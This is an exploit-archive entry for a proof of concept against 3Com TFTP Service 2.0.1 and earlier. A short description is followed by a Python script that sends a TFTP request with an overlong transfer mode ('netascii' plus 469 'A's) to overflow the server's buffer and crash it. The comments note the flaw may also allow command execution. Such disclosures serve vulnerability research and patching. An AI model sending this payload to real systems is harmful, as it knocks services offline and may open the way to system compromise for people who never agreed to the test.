3Com TFTP Service <= 2.0.1 (Long Transporting Mode) Overflow PoC

2006-11-27T00:00:00
ID 1337DAY-ID-6229
Type zdt
Reporter Liu Qixu
Modified 2006-11-27T00:00:00

Description

Exploit for unknown platform in category dos / poc

                                        
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3Com TFTP Service <= 2.0.1 (Long Transporting Mode) Overflow PoC
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#!/usr/bin/python
# Buffer Overflow (Long transporting mode) Vulnerability Exploit
# This is just a DoS exploiting code
# Tested on Windows xp SP2
#
# Requires python and impacket
#
# Coded by Liu Qixu Of NCNIPC

# SUMMARY:

# 3CTftpSvc TFTP Server is a Freeware TFTP server for Windows 9x/NT/XP.
# (http://support.3com.com/software/utilities_for_windows_32_bit.htm
# or ftp://ftp.3com.com/pub/utilbin/win32/3CTftpSvc.zip)
# It provides an implementation of the TFTPv2 protocol.

# A vulnerability has been identified in 3CTftpSvc TFTP Server, which could be exploited by attackers 
# to execute arbitrary commands or cause a denial of service. This flaw is 
# due to a buffer overflow error when handling an overly long transporting 
# mode (more than 470 bytes) passed to a "GET" or "PUT" command, which could 
# be exploited by malicious users to compromise a vulnerable system or crash 
# an affected application.

# EXPLOIT:

import socket
import sys

host = '192.168.1.11'
port = 69

try:
   s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
except:
   print "socket() failed"
   sys.exit(1)

filename = "A"
mode = "netascii" + "A" * 469
da = "\x00\x02" + filename + "\0" + mode + "\0"
s.sendto(da, (host, port))



#  0day.today [2018-02-20]  #